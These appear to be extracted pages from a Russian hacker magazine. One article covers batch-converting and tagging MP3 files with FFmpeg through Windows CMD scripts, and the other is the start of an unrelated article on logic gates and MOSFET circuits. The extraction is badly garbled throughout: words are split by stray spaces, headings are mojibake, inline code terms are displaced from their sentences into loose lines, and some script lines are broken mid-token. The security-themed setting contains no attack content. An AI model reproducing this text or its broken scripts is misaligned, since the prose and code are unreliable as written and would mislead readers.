и демонс три ровать ся про игры вате лями. Наобо рот, опция 

, наз нача ющая потоку ([b]s[/b]tream) с виде одан ными

([b]v[/b]ideo) атри бут  со зна чени ем , слу жит толь ко
декора тив ной цели.

-id3v2_version 3

-metadata:s:v 
title="Album cover"

title "Album cover"

INFO

Те ги ID3 дол жны наз начать ся кон тей неру
MP3 в целом, а не отдель ному содер жащему ся
в нем потоку. Поэто му для них опция 
исполь зует ся без допол нитель ных спе цифи като- 
ров.

-metadata

В моей ауди окол лекции наряду с музыкаль ными про изве дени ями обна ружи- 
лись ауди опод касты, записан ные с высоким качес твом. Вос при ятие этих
матери алов на слух не стра дает, если понизить час тоту дис кре тиза ции
(sample rate) до 22 кГц и свес ти сте реоз вук в монодо рож ку. Кон кре тизи ровать
парамет ры пре обра зова ния ауди опо тока прог рамме FFmpeg мож но 

:
с

помощью таких опций

... -c:a libmp3lame -ar 22050 -ac 1 ...

Оп ция  пред писыва ет выпол нять обра бот ку ауди опо тока кодеком Lame

MP3, опция  зада ет час тоту дис кре тиза ции ауди опо тока 22 050 Гц,

а опция  тре бует свес ти звук в одну дорож ку. Пос ле такого пре обра зова- 
ния раз мер MP3-фай лов зна читель но умень шил ся. Допус тимые зна чения
час тоты дис кре тиза ции в поряд ке убы вания качес тва (Гц): 48 000, 44 100,
32 000, 24 000, 22 050, 16 000, 11 025, 8000.

-c
-ar

-ac

INFO

Уп равлять качес твом зву ково го потока мож но и с
помощью опции, поз воля ющей задать мак- 
сималь ную ско рость переда чи дан ных (bitrate).
Нап ример, для огра ниче ния ско рос ти до 96 Кбит/
с надо ука зать: .-b:a 96k

Продолжение статьи →

mailto:r0bur@mail.ru
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https://ffmpeg.org/
https://gist.github.com/eyecatchup/0757b3d8b989fe433979db2ea7d95a01
https://trac.ffmpeg.org/wiki/AudioChannelManipulation
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ÈÇÓ×ÅÍÈÅ ÂÎÇÌÎÆÍÎÑÒÅÉ CMD-ÑÖÅÍÀÐÈÅÂ

Язык CMD-сце нари ев базиру ется на край не огра ничен ном язы ке пакет ных
batch-фай лов, который изна чаль но исполь зовал ся толь ко для выпол нения
одной и той же линей ной пос ледова тель нос ти команд опе раци онной сис- 
темы. Но со вре менем инс трук ция  была рас ширена для того, что бы с ее

помощью мож но было обра баты вать тек сто вые фай лы, выпол нять син такси- 
чес кий раз бор строк и прис ваивать перемен ным сце нария зна чения на осно- 
ве обна ружен ных фраг ментов.

FOR

Под робную справ ку о воз можнос тях инс трук ции  выг рузит в тек сто вый

файл  такая пос ледова тель ность команд:

FOR
help-for.txt

CHCP 1251
HELP FOR > help-for.txt
CHCP 866

Ко ман да  уста нав лива ет кодиров ку сим волов, которая исполь зует ся
в сеан се коман дной стро ки. По умол чанию дей ству ет кодиров ка CP866
(DOS), с которой не уме ет работать штат ный тек сто вый редак тор «Блок нот».
Что бы читать получен ный тек сто вый файл в блок ноте, надо перед фор-
мирова нием фай ла уста новить кодиров ку CP1251 (Windows). В резуль тате
изу чать докумен тацию мож но с помощью коман ды

CHCP

notepad.exe help-for.txt

Раз берем прин цип работы язы ка сце нари ев с тек сто выми фай лами на сле- 
дующем при мере. Пред положим, у нас есть CSV-файл 
со сле дующим содер жимым в кодиров ке CP1251:

employees.csv

#      ШТАТНОЕ РАСПИСАНИЕ
#      ООО «Админ на час»
# ТабельныйНомер;Фамилия;Имя;Отчество;Должность;Оклад

1;Иванов;Иван;Иванович;директор;300
2;Петров;Петр;Петрович;главбух;200
3;Сидоров;Сидор;Сидорович;сисадмин;100

При меним к нему коман ду , где файл 

 содер жит сле дующий сце нарий:

test-for.cmd employees.csv test-
for.cmd

@ECHO OFF
CHCP 1251 > NUL:
FOR /F "eol=# tokens=2,3,5 delims=;" %%I IN (%1) DO ECHO %%J %%I - %%
K
CHCP 866 > NUL:

Ключ  инс трук ции  зас тавля ет ее обра баты вать содер жащи еся в тек сто- 

вом фай ле стро ки с име нем, передан ным в качес тве пер вого парамет ра
коман дной стро ки, в соот ветс твии с опи сани ем струк туры тек сто вого фай ла,
которое зак лючено в кавыч ки. Эле мент  это го опи сания зада ет сим вол (он

может быть толь ко один), которым начина ется однос троч ный ком мента рий (в
при веден ном при мере это сим вол решет ки ). Такой выбор поз воля ет исклю- 
чить из обра бот ки пер вые три стро ки фай ла . Пус тые стро ки

в обра бот ке тоже не учас тву ют, поэто му и его чет вертая стро ка будет про- 
пуще на.

/F FOR

eol

#
employees.csv

В эле мен те  через запятую перечис ляют ся поряд ковые номера

инте ресу ющих раз работ чика информа цион ных полей, зна чения которых раз- 
деля ются в обра баты ваемой стро ке сим волами-раз делите лями, ука зан ными
в эле мен те . В при веден ном при мере это вто рое, третье и пятое поле,
что соот ветс тву ет фамилии, име ни и дол жнос ти. В качес тве раз делите ля
будет исполь зован сим вол точ ка с запятой, но при необ ходимос ти в эле мен те

 мож но ука зать один за дру гим сра зу нес коль ко сим волов-раз делите- 
лей.

tokens

delims

delims

INFO

Нес коль ко иду щих под ряд раз делите лей счи тают- 
ся одним, а сто ящий в самом начале стро ки раз- 
делитель игно риру ется. Пос леднее свой ство инс- 
трук ции  поз волит орга низо вать хра нение
и обра бот ку двух спис ков в одном тек сто вом
фай ле.

FOR

Пос ле опи сания струк туры в инс трук ции  ука зыва ется имя перемен ной,

которой прис воит ся зна чение пер вого поля обра ботан ной стро ки. В при- 
веден ном при мере фамилия будет записа на в перемен ную . Зна чения
осталь ных полей будут прис воены перемен ным, сле дующим пос ле ука зан ной
в алфа вит ном поряд ке. В рас смат рива емом при мере фамилия и дол жность
попадут в перемен ные  и  соот ветс твен но.

FOR

%%I

%%J %%K
На каж дой ите рации цик ла  перемен ные ини циали зиру ются зна чени- 

ями соот ветс тву ющих полей, пос ле чего они могут исполь зовать ся в коман де,
которая записы вает ся в инс трук ции  пос ле сло ва . В при веден ном при- 
мере это коман да , печата ющая стро ку вида 

. В резуль тате обра бот ки фай ла  на экран будут

выведе ны стро ки:

FOR

FOR DO
ECHO "Имя Фамилия -

Должность" employees.csv

 

 

Иван Ива нов - дирек тор 
Петр Пет ров - глав бух 
Си дор Сидоров - сисад мин

INFO

Ко ман ды  в сце нарии  нуж- 
ны толь ко для того, что бы кор рек тно отоб ражал ся
текст в Windows-кодиров ке, а конс трук ции 

 исполь зованы для подав ления вывода их
информа цион ных сооб щений 

.

CHCP test-for.cmd

... >
NUL:

"Текущая 
кодовая страница такая-то"

Мо дер низации под вер гся и механизм вызова под прог рамм. Если в BAT-сце-
нари ях инс трук ция  поз воляла толь ко передать управле ние находя щему- 

ся в дру гом фай ле BAT-сце нарию с пос леду ющим воз вра том, то в CMD-сце- 
нари ях появи лась воз можность вре мен ной переда чи управле ния внут ри
выпол няюще гося сце нария. К сожале нию, пос ле перехо да по мет ке отсутс- 
тву ет воз можность дос рочно го воз вра та в точ ку вызова, то есть под прог- 
раммой счи тает ся код от мет ки до кон ца фай ла.

CALL

Ра боту под прог раммы рас смот рим на исправ ленном сце нарии, который
не толь ко выводит информа цию о сот рудни ках, но и под счи тыва ет фонд
заработ ной пла ты.

@ECHO OFF
SET TOTAL=0
CHCP 1251 > NUL:
FOR /F "eol=# tokens=2,3,5,6 delims=;" %%I IN (%1) DO CALL :CALCULATE
%%I %%J %%K %%L

ECHO *** Фонд зарплаты: %TOTAL% ***
CHCP 866 > NUL:
SET TOTAL=
GOTO :EOF
:CALCULATE
ECHO %2 %1 - %3 (%4)
SET /A TOTAL=%TOTAL%+%4

Пос коль ку теперь на каж дой ите рации цик ла тре бует ся выпол нять не одну
коман ду, а нес коль ко, то удоб но в опе рато ре  заменить коман ду печати

 коман дой вызова под прог раммы . Пос ле сло ва  ука зыва ется

мет ка стро ки, с которой начина ется под прог рамма (в при веден ном при мере
это ), а даль ше сле дуют аргу мен ты, зна чения которых в под прог- 
рамме будут прис воены парамет рам , ,  и так далее по количес тву

аргу мен тов. В при веден ном при мере их четыре: , , 

и .

FOR
ECHO CALL CALL

:CALCULATE
%1 %2 %3

Фамилия Имя Должность
Оклад

В под прог рамме  выпол няют ся все необ ходимые для обра бот- 

ки полей информа цион ной стро ки дей ствия. Во-пер вых, коман да 

печата ет информа цию о сот рудни ке, допол ненную величи ной его окла да.
Во-вто рых, инс трук ция  (тоже модер низиро ван ная и допол ненная приз- 

наком выпол нения ариф метичес ких опе раций ) уве личи вает зна чение

перемен ной , ини циали зиро ван ной нулевым зна чени ем, на величи ну

окла да сот рудни ка.

:CALCULATE
ECHO

SET
/A

TOTAL

WARNING

Как бы тебе ни хотелось укра сить лис тинг сце- 
нария, ни в коем слу чае не встав ляй про белы
в инс трук ции SET меж ду име нем перемен ной,
зна ком равенс тва и прис ваиваемым зна чени ем.
В этой инс трук ции каж дый про бел име ет зна- 
чение!

Ког да цикл  завер шит обра бот ку информа цион ных строк фай ла со штат- 

ным рас писани ем, сле дующей коман дой  будет рас печатан общий фонд

зар пла ты, пос ле чего коман да  уда лит перемен ную . Одна из важ- 

ней ших ролей в этом зак лючитель ном бло ке отве дена коман де безус ловно го
перехо да , которая слу жит барь ером меж ду основной прог раммой

и под прог раммой. Она переда ет управле ние на вир туаль ный конец сце нария,
которо му соот ветс тву ет пре доп ределен ная мет ка , в резуль тате чего
сце нарий завер шает свою работу.

FOR
ECHO

SET TOTAL

GOTO

:EOF

Продолжение статьи →



МУЗЫКА В ПАКЕТЕ
АВТОМАТИЧЕСКИ КОНВЕРТИРУЕМ

И АННОТИРУЕМ АУДИОФАЙЛЫ В WINDOWS

ТРЮКИ  НАЧАЛО СТАТЬИ←

ÐÀÇÐÀÁÎÒÊÀ ÏÐÎÒÎÒÈÏÀ ÊÎÌÀÍÄÍÎÃÎ ÑÖÅÍÀÐÈß

Те перь, ког да воз можнос ти FFmpeg и язы ка коман дных сце нари ев про ясни- 
лись, мож но прис тупать к решению нашей задачи — раз работ ке сце нария
для кон верта ции и наз начения ID3-тегов ауди офай лам из кол лекции.
Для начала решим, как будет хра нить ся информа ция о тегах.

Ауди офай лы обыч но сущес тву ют не сами по себе, а сгруп пирова ны в аль- 
бомы, которые изда тели записы вают на один информа цион ный носитель:
ком пакт-диск, винило вую плас тинку и про чее. Поэто му в одном информа- 
цион ном тек сто вом фай ле будем хра нить теги для одно го такого аль бома.
Если про ана лизи ровать мно жес тво ID3-тегов, то мож но выделить в нем две
катего рии: теги, которые отно сят ся ко все му аль бому в целом (нап ример,
наз вание аль бома и исполни тель аль бома), и теги, которые отно сят ся
к отдель ному тре ку (номер тре ка на носите ле, наз вание тре ка, исполни тель
тре ка).

Что бы не дуб лировать для каж дого ауди офай ла «аль бом ные» теги,
запишем их один раз в заголов ке информа цион ного фай ла. Теги для отдель- 
ных тре ков удоб но хра нить в стро ках тек сто вого фай ла с раз делите лями.
В качес тве раз делите ля будем исполь зовать сим вол, встре тить который
в зна чени ях тегов малове роят но. Я выб рал сим вол тиль да . А для аль бом ных

тегов, которые естес твен но пред став лять в виде пар "ТЕГ=ЗНА ЧЕНИЕ", было
решено исполь зовать в качес тве раз делите ля знак равенс тва .

~

=
Вы рисо выва ется сле дующая струк тура информа цион ного фай ла:

ALBUM=Название альбома
ARTIST=Исполнитель альбома
1~Название первого трека~Исполнитель первого трека
2~Название второго трека~Исполнитель второго трека
...

Ори енти руясь на раз работан ную струк туру, наб роса ем про тотип коман дно го
сце нария, который будет ее исполь зовать для обра бот ки ауди офай лов.

@ECHO OFF
REM ===================
REM Основная программа.
REM ===================
CHCP 65001 > NUL:
SET ID3TAGS=SRC\id3tags.txt
SET ALBUM_TITLE=
SET ALBUM_ARTIST=
FOR /F "eol=~ tokens=1,2* delims==" %%I IN (%ID3TAGS%) DO CALL :
PROCESSING header %%I "%%J"
ECHO Альбом......... %ALBUM_TITLE%
ECHO Исполнитель.... %ALBUM_ARTIST%
FOR /F "eol== tokens=1,2,3 delims=~" %%I IN (%ID3TAGS%) DO CALL :
PROCESSING body %%I "%%J" "%%K"
SET ALBUM_TITLE=
SET ALBUM_ARTIST=
CHCP 866 > NUL:
GOTO :EOF
REM ==============================
REM Подпрограмма обработки записи.
REM ==============================
:PROCESSING
IF "%1"=="header" GOTO :HEADER
IF "%1"=="body" GOTO :BODY
ECHO *** Ошибка: неизвестный способ обработки "%1". ***
GOTO :EOF
REM ------------------------------------
REM Обработка записи из заголовка файла.
REM ------------------------------------
:HEADER
SHIFT
IF "%1"=="ALBUM" SET ALBUM_TITLE=%2
IF "%1"=="ARTIST" SET ALBUM_ARTIST=%2
GOTO :EOF
REM -------------------------------
REM Обработка записи из тела файла.
REM -------------------------------
:BODY
SHIFT
ECHO DEBUG: %1 %2 %3

Пос коль ку для тегов пред почти тель но исполь зовать кодиров ку Unicode, то
все тек сто вые фай лы, как со сце нари ем, так и со зна чени ями тегов, дол жны
быть сох ранены в фор мате UTF-8. В соот ветс твии с этим для сеан са коман- 
дной стро ки уста нав лива ется кодовая стра ница 65001. Пред полага ется, что
исходные ауди офай лы будут хра нить ся в под катало ге , а пре обра зован- 
ные фай лы — записы вать ся в под каталог  текуще го катало га. Информа ция

о тегах будет хра нить ся вмес те с исходны ми фай лами в тек сто вом фай ле
 опи сан ной выше струк туры.

SRC
TGT

SRC\id3tags.txt

При сох ранении тек сто вых фай лов в фор мате UTF-8 обра щай вни мание, что- 
бы они не пред варялись мар кером пос ледова тель нос ти бай тов . Коман- 

дный про цес сор не уме ет его пра виль но обра баты вать, в резуль тате чего он
не рас позна ет пер вую коман ду  и при работе сце нария на экран

выводит ся мно го «мусора». В край нем слу чае мож но сде лать пер вую стро ку
сце нария пус той, но и тог да его вывод будет начинать ся с сооб щения:

BOM

@ECHO OFF

"я╗┐" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.

Пос коль ку в информа цион ном фай ле при сутс тву ют два бло ка раз ной струк- 
туры, он будет обра баты вать ся в два про хода дву мя цик лами . Пер вый
цикл прис воит зна чения аль бом ных тегов перемен ным окру жения сце нария
с тем, что бы их мож но было в даль нейшем исполь зовать для каж дого ауди- 
офай ла. Вто рой цикл на каж дой ите рации будет запус кать FFmpeg для обра- 
бот ки ауди офай ла.

FOR

И здесь нуж но най ти метод, который поз волит раз личать информа цион ные
стро ки пер вого и вто рого типов. Это мож но сде лать раз ными спо соба ми. Я
решил исполь зовать сим вол — раз делитель полей одно го бло ка в качес тве
приз нака ком мента рия для дру гого бло ка и в начало каж дой информа цион- 
ной стро ки добавить сим вол-раз делитель, пос ле чего струк тура информа- 
цион ного фай ла при няла такой вид:

=ALBUM=Название альбома
=ARTIST=Исполнитель альбома
~1~Название первого трека~Исполнитель первого трека
~2~Название второго трека~Исполнитель второго трека
...

Пос ле это го пер вый цикл вос при нима ет стро ки вто рого бло ка как ком мента- 
рии, а вто рой цикл так же отно сит ся к стро кам пер вого бло ка.

Средс тва работы с под прог рамма ми в язы ке CMD-сце нари ев доволь но
огра ничен ны. Из-за отсутс твия инс трук ции дос рочно го воз вра та из под прог- 
раммы приш лось модели ровать в одной под прог рамме работу нес коль ких
вир туаль ных под прог рамм. Для это го через аргу мент инс трук ции 
переда ется имя вир туаль ной под прог раммы ("header" или "body"), которое
ана лизи рует ся в начале нас тоящей под прог раммы ( ). Пос ле это- 

го выпол няет ся переход к бло ку инс трук ций выз ванной вир туаль ной под прог- 
раммы (на мет ку  или ). Что бы исклю чить став шее ненуж ным

имя под прог раммы из спис ка получен ных парамет ров, вир туаль ные под прог- 
раммы начина ются с инс трук ции .

CALL

:PROCESSING

:HEADER :BODY

SHIFT
Ес ли сей час выпол нить при веден ный про тотип сце нария, то на экра не

отоб разят ся сле дующие стро ки:

Альбом......... "Название альбома"
Исполнитель.... "Исполнитель альбома"
DEBUG: 1 "Название первого трека" "Исполнитель первого трека"
DEBUG: 2 "Название второго трека" "Исполнитель второго трека"

Зна чит, раз бор тек сто вого фай ла со зна чени ями тегов работа ет так,
как задума но, и мож но перехо дить к реали зации обра бот ки ауди офай лов
с помощью FFmpeg.

ÑÖÅÍÀÐÈÉ ÏÀÊÅÒÍÎÉ ÎÁÐÀÁÎÒÊÈ ÀÓÄÈÎÔÀÉËÎÂ

Для выпол нения реаль ных опе раций над фай лами надо в про тоти пе сце нария
заменить отла доч ный вывод  на блок инс трук ций, которые эти

опе рации будут выпол нять. Я офор мил этот блок сле дующим обра зом:

ECHO DEBUG...

SET MP3FN=%1.mp3
IF NOT EXIST SRC\%MP3FN% SET MP3FN=0%1.mp3
IF NOT EXIST SRC\%MP3FN% SET MP3FN=00%1.mp3
IF NOT EXIST SRC\%MP3FN% GOTO :BODY_FNF
SET SRCFN="SRC\%MP3FN%"
SET TGTFN="TGT\%MP3FN%"
ECHO Конвертация файла %SRCFN% -^> %TGTFN%
%FFMPEG% -i %SRCFN% -i %COVER% -map 0 -map 1 -c:a libmp3lame -ar %FQ%
-b:a %BR% -ac %AC% ^
   -f mp3 -id3v2_version 3 -map_metadata -1 ^
   -metadata album=%ALBUM_TITLE% -metadata album_artist=%
ALBUM_ARTIST% ^
   -metadata track="%1" -metadata title=%2 -metadata artist=%3 ^
   -metadata:s:v title="Album cover" %TGTFN%
GOTO :EOF
:BODY_FNF
ECHO *** Ошибка: не найден файл для трека №%1. ***

Ко рот кое имя фай ла по его поряд ковому номеру фор миру ется и записы вает- 
ся в перемен ную  пер вой инс трук цией . В моих кол лекци ях ауди- 

офай лы хра нят ся под сво ими поряд ковыми номера ми в аль бомах: ,
, , ..., , ... В сце нарии для уни вер саль нос ти я

пред положил, что номер в име ни фай ла может не содер жать ведуще го нуля:
,  и так далее. Что бы авто мати чес ки обра баты вались фай лы

вплоть до трех разряд ных номеров, даль ше сле дуют инс трук ции , добав- 

ляющие ведущие нули к име ни фай ла, если таковой отсутс тву ет в пап ке .

Если отсутс тву ет файл и с трех разряд ным номером, то будет выдано сооб- 
щение об ошиб ке.

MP3FN SET
01.mp3

02.mp3 03.mp3 10.mp3 11.mp3

1.mp3 2.mp3
IF

SRC

В слу чае успе ха в перемен ные  и  записы вают ся пол ные име на

вход ного и выход ного ауди офай лов, зна чения которых исполь зуют ся в коман- 
дной стро ке FFmpeg. Коман дная стро ка получи лась доволь но длин ной, и, что- 
бы раз бить ее на час ти, приш лось вос поль зовать ся сим волом экра ниро вания
перево да стро ки, роль которо го в коман дной стро ке Windows игра ет
не обратная нак лонная чер та , как мож но было бы подумать, а крыш ка .

SRCFN TGTFN

\ ^
Па рамет ры коман дной стро ки FFmpeg дол жны быть понят ны из пре дыду- 

щих при меров. Раз ве что может воз никнуть резон ный воп рос, отку да возь- 
мут ся зна чения перемен ных: имя фай ла с изоб ражени ем обложки ,
час тота дис кре тиза ции , ско рость потока  и количес тво ауди одо- 

рожек . Дей стви тель но, их надо опре делить в начале сце нария, допол нив

блок ини циали зации перемен ных окру жения стро ками

%COVER%
%FQ% %BR%

%AC%

SET FFMPEG="%ProgramFiles%\ImageMagick-7.1.0-Q8\ffmpeg.exe"
SET COVER=SRC\cover.jpg
SET FQ=22050
SET BR=32k
SET AC=1

По лучив ший ся сце нарий я при менил для обра бот ки ауди оза писей лек ций
цик ла «Вос ток (Лек торий ВШЭ)», сте реофай лы которых с час тотой дис кре- 
тиза ции 44 100 Гц при ско рос ти потока 128 Кбит занима ли на дис- 
ке 877 Мбайт. Объ ем пре обра зован ных фай лов умень шил ся до 219 Мбайт (то
есть при мер но в четыре раза), а тембр речи лек торов субъ ективно даже улуч- 
шился.

Ре зуль тат анно тиро вания MP3-фай лов с ауди оза пися ми лек ций

ÓËÓ×ØÅÍÈÅ ÑÖÅÍÀÐÈß

По боль шому сче ту пос тавлен ную в этой статье задачу уже мож но счи тать
решен ной. Одна ко, как извес тно, начав прог рамми ровать (пусть даже на язы- 
ке сце нари ев), потом очень труд но оста новить ся. В опи сании тегов ID3 мож- 
но обна ружить, что допус кает ся нумера ция тре ка в фор мате , где  —

поряд ковый номер тре ка, а  — общее количес тво тре ков в аль боме.
Почему бы не вос поль зовать ся ариф метичес кими спо соб ностя ми инс трук ции

 и не под счи тать это количес тво, что бы фор мировать тег номера в рас-

ширен ном фор мате?

"i/n" i
n

SET

Ко неч но, это пот ребу ет еще одной перемен ной для под сче та тре ков
и допол нитель ного про хода по информа цион ному фай лу с помощью инс трук- 
ции  с вызовом под прог раммы, выпол няющей инкре мен тирова ние зна- 

чения перемен ной для каж дой обна ружен ной записи об ауди офай ле.

FOR

До бавим в блок ини циали зации перемен ных стро ку

SET TOTAL=0

А пос ле пер вой инс трук ции , выпол няющей ини циали зацию аль бом ных

перемен ных, добавим стро ку для под сче та тре ков:

FOR

FOR /F "eol== tokens=1 delims=~" %%I IN (%ID3TAGS%) DO SET /A TOTAL=
TOTAL+1

Те перь мож но рас ширить блок печати информа ции об обра баты ваемом аль- 
боме стро кой

ECHO Треков......... %TOTAL%

Ос талось в коман дной стро ке FFmpeg заменить наз начения ID3-тега
с номером тре ка на . С это го момен та сце- 

нарий нач нет анно тиро вать MP3-фай лы номером тре ка в рас ширен ном фор- 
мате.

-metadata track="%1/%TOTAL%"

WWW

Здесь мож но заг рузить 
.
ис ходные дан ные и код,

исполь зован ные в статье

ÇÀÊËÞ×ÅÍÈÅ

В резуль тате про делан ной работы мы получи ли удоб ный инс тру мент
для пакет ной обра бот ки ауди офай лов. Если при нять во вни мание, что
FFmpeg уме ет еще и обра баты вать виде офай лы и фай лы с изоб ражени ями,
а сце нарий авто мати зации без осо бых проб лем адап тиру ется для решения
дру гих подоб ных задач, то инс тру мент этот мож но наз вать уни вер саль ным.
При этом гра фичес кая обо лоч ка не скры вает от нас воз можнос тей базовой
ути литы, а для прог рамми рова ния дос таточ но штат ного тек сто вого редак тора
опе раци онной сис темы.

http://stats.hackmag.com/public/zip/381386/mp3conv.zip
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НА MOSFET-ТРАНЗИСТОРАХ
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GEEK

Элек тро ника и схе мотех ника — две очень инте рес ные науки.
С помощью мик росхем, тран зисто ров и дру гих устрой ств
циф ровой логики ты можешь у себя дома спро екти ровать
и соб рать самые раз ные элек трон ные при боры. Ведь нас- 
тоящий муж чина в сво ей жиз ни дол жен посадить дерево,
пос тро ить дом и... научить ся собирать циф ровые схе мы
на MOSFET-тран зисто рах!

С пер выми дву мя про екта ми, думаю, сам спра вишь ся, а вот с пос ледним раз- 
берем ся вмес те в этой статье. Так же сегод ня ты узна ешь (или вспом нишь)
о видах сиг налов, об осно вах алгебры логики и об элек трон ных ком понен тах.

Че лове ку, решив шему в наш прос вещен ный век соб рать элек трон ное
устрой ство, пред став лен огромный выбор мик рокон трол леров. Начиная
от всем извес тной и популяр ной Arduino, на которой собира ют прак тичес ки
все — от кар манных мете останций до неболь ших ракет, и закан чивая про- 
мыш ленны ми кон трол лерами SIMATIC.

Но что внут ри у этих кон трол леров? Для прог раммис та это может быть
пол ной загад кой. Если ты ког да-нибудь раз бирал элек трон ное устрой ство
и задавал ся воп росом «Как и почему оно работа ет? Для чего нуж ны все эти
элек трон ные ком понен ты и мик росхе мы?», то эта статья для тебя.

ÒÅÎÐÈß

Без теоре тичес кой час ти не может обой тись ни одно тех ничес кое нап равле- 
ние науки. Схе мотех ника не исклю чение, так что давай перед прак тичес ким
соз дани ем циф ровых схем раз берем ся в ее прин ципах.

Íóëè è åäèíèöû

Ты навер няка слы шал о дво ичном коде и видел леген дарный «циф ровой
дождь» из не менее леген дарной «Мат рицы». В дей стви тель нос ти компь юте- 
ры и дру гие вычис литель ные устрой ства опе риру ют не потока ми сим волов,
а нулями и еди ница ми. Из них и сос тоит дво ичная сис тема.

Но почему в мик роэлек тро нике исполь зуют ся имен но эти, на пер вый
взгляд очень гро моз дкие и неудоб ные чис ла, а не, нап ример, десятич ная сис- 
тема счис ления, к которой мы все при вык ли? Ведь челове ку было бы гораз до
про ще вос при нимать их!

Не все, что удоб но для челове ка, будет удоб но компь юте ру. Ответ кро ется
в самих нулях и еди ницах. Дело в том, что для реали зации дво ичной сис темы
тре бует ся толь ко два исходных сос тояния: логичес кие еди ница и ноль, то
есть исти на и ложь соот ветс твен но. Эти сос тояния очень лег ко соз дать, нап- 
ример если усло вить ся, что нап ряжение высокое (HIGH) рав но 1, а низ кое
(LOW) рав но 0.

А еще бла года ря исполь зованию дво ичной сис темы для раз личных
логичес ких опе раций в компь юте рах исполь зует ся булева алгебра или, если
по-рус ски, алгебра логики (о ней рас ска жу чуть поз же).

Öèôðà ïîáåæäàåò!

Су щес тву ют два основных вида сиг налов — ана лого вый и циф ровой. Пер- 
вый — это сиг нал, который неп рерыв но меня ется в диапа зоне от минималь- 
ного до мак сималь ного, в зависи мос ти от подава емо го с источни ка питания
нап ряжения. Отличный при мер ана лого вого сиг нала — музыка в колон ках
тво его компь юте ра. Из динами ков колонок и дру гих ауди оус трой ств звук
извле кает ся за счет виб раций диф фузора (под вижно го эле мен та в колон ке).
Во вре мя про игры вания музыки элек три чес кий сиг нал, подава емый на диф- 
фузор, неп рерыв но меня ется. Если замерить этот сиг нал с помощью
осциллог рафа, мы уви дим такой гра фик.

Гра фик ана лого вого сиг нала

Циф ровой сиг нал явля ется импуль сным, то есть его зна чения меня ются скач- 
ком меж ду задан ными парамет рами. Исполь зуя дво ичную сис тему, мы можем
пред ста вить дво ичный ноль в качес тве самого низ кого нап ряжения из воз- 
можных — 0 В, а еди ницу — нап ряжени ем питания, нап ример батарей ки
«Кро на» (9 В). Таким обра зом, что бы передать чис ло в дво ичной сис теме,
нуж но все го лишь передать пра виль ную пос ледова тель ность элек три чес ких
импуль сов. Нап ример, чис ло 10101 (в десятич ной 21) мож но изоб разить
в виде такой пос ледова тель нос ти импуль сов.

Чис ло в циф ровом сиг нале

Пе реда вать и обра баты вать дан ные ана лого вым сиг налом гораз до труд нее,
чем циф ровым. Ведь раз ница меж ду нулем и еди ницей лег ко раз личима.
А еще циф ровой сиг нал более помехо устой чив. Это глав ные при чины, почему
циф ровой сиг нал в элек тро нике вытес нил ана лого вый.

Àëãåáðà ëîãèêè

Как и обе щал, сей час раз берем ся с некото рыми из основных опе раций
булевой алгебры, ведь имен но на них и работа ет вся логика элек трон ных
устрой ств.

INFO

Что бы теоре тичес ки про демонс три ровать работу
логичес ких фун кций, исполь зуют ся таб лицы
истиннос ти, которые наг лядно показы вают соот- 
ветс твие изна чаль ных дан ных и пре обра зован ных
логичес ких сиг налов.

NOT

Вен тиль НЕ име нует ся инверси ей. Если ты зна ком с этим сло вом, то навер- 
няка уже догадал ся, что эта опе рация «перево рачи вает» зна чение сиг нала.
В алгебре логики инверти рован ный сиг нал обоз нача ется чер той свер ху. Таб- 
лица истиннос ти у это го вен тиля очень прос тая:

В логичес ких схе мах NOT показы вают с помощью такого бло ка.

NOT

AND

Этот блок логичес кого И в информа тике называ ется конъ юнкци ей и обоз- 
нача ется зна ком  (иног да зна ком умно жения ). В этом вен тиле еди ница
на выходе появ ляет ся толь ко тог да, ког да все его вхо ды при нима ют зна чение
исти ны. Вид бло ка и таб лица истиннос ти у конъ юнкции такие.

& *

AND

За мет но, что по срав нению с инверси ей количес тво вхо дов уве личи лось,
от это го так же уве личи лось количес тво воз можных исхо дов. Чем боль ше
у логичес кой опе рации вход ных перемен ных, тем боль ше ее таб лица
истиннос ти.

OR

ИЛИ в информа тике обоз вали дизъ юнкци ей, она обоз нача ется сим волом V
(иног да + или ||). Еди ница на выходе появит ся, ког да исти на будет хотя бы
на одном из вхо дов.

NOR

Вен тиль ИЛИ-НЕ, как мож но догадать ся, — это инверти рован ное ИЛИ. Зна- 
чение его выхода — это выход дизъ юнкции пос ле про хода через вен тиль НЕ.
Еди ница на его выходе появит ся толь ко тог да, ког да на всех его вхо дах будет
логичес кий ноль. NOR в таб лицах истиннос ти обоз нача ется чер той свер ху
над опе раци ей логичес кого ИЛИ.

NOR

NAND

Вен тиль И-НЕ, ана логич но пре дыду щему, пред став ляет собой инверти рован- 
ное И. Он выда ет еди ницу на выходе, ког да хотя бы на одном из вхо дов есть
логичес кий ноль. Записы вает ся NAND добав лени ем чер ты свер ху над опе- 
раци ей конъ юнкции.

NAND

ÍÅÊÎÒÎÐÛÅ ÝËÅÊÒÐÎÍÍÛÅ ÊÎÌÏÎÍÅÍÒÛ

Пе ред тем как перей ти к самим тран зисто рам, давай погово рим о таких важ- 
ных ком понен тах любой циф ровой схе мы, как резис тор и диод.

Ðåçèñòîð

Ча ще все го в элек три чес ких схе мах исполь зует ся такой эле мент, как резис- 
тор. Резис тор мож но пред ста вить как соп ротив ление в чис том виде. Для чего
же он может исполь зовать ся? К при меру, если в нашей цепи при кон крет ном
нап ряжении необ ходимо обес печить опре делен ную силу тока, дос таточ но
вычис лить по закону Ома нуж ное соп ротив ление и уста новить в нуж ном мес те
пос тоян ный резис тор. Схе му и внеш ний вид пос тоян ного резис тора ты
можешь уви деть на фото сни зу.

Схе ма и внеш ний вид резис тора

INFO

За кон Ома — один из основных законов элек три- 
чес тва. В схе мотех нике и элек тро нике обыч но он
исполь зует ся для того, что бы рас счи тать под- 
ходящее соп ротив ление эле мен тов элек три чес- 
ких цепей. Фор мула, выража ющая этот закон,
выг лядит так: R = U/I, где R — соп ротив ление, U —
нап ряжение, I — сила тока.

Су щес тву ют раз ные виды резис торов, которые могут изме нять свое соп- 
ротив ление в зависи мос ти от раз ных усло вий. Реос тат изме няет соп ротив- 
ление от нуля до уста нов ленно го мак сималь ного зна чения, фоторе зис тор
изме няет соп ротив ление в зависи мос ти от уров ня осве щения, а тер мистор,
как ты догады ваешь ся, от тем перату ры. Но нас инте ресу ет самый рас- 
простра нен ный вид резис торов — пос тоян ный.

У пос тоян ного резис тора нет поляр ности, а это зна чит, что его кон такты
абсо лют но рав нознач ны и нет раз ницы, в какой пос ледова тель нос ти и какой
сто роной резис тор под клю чать в цепь. На фото ты мог заметить цвет ные
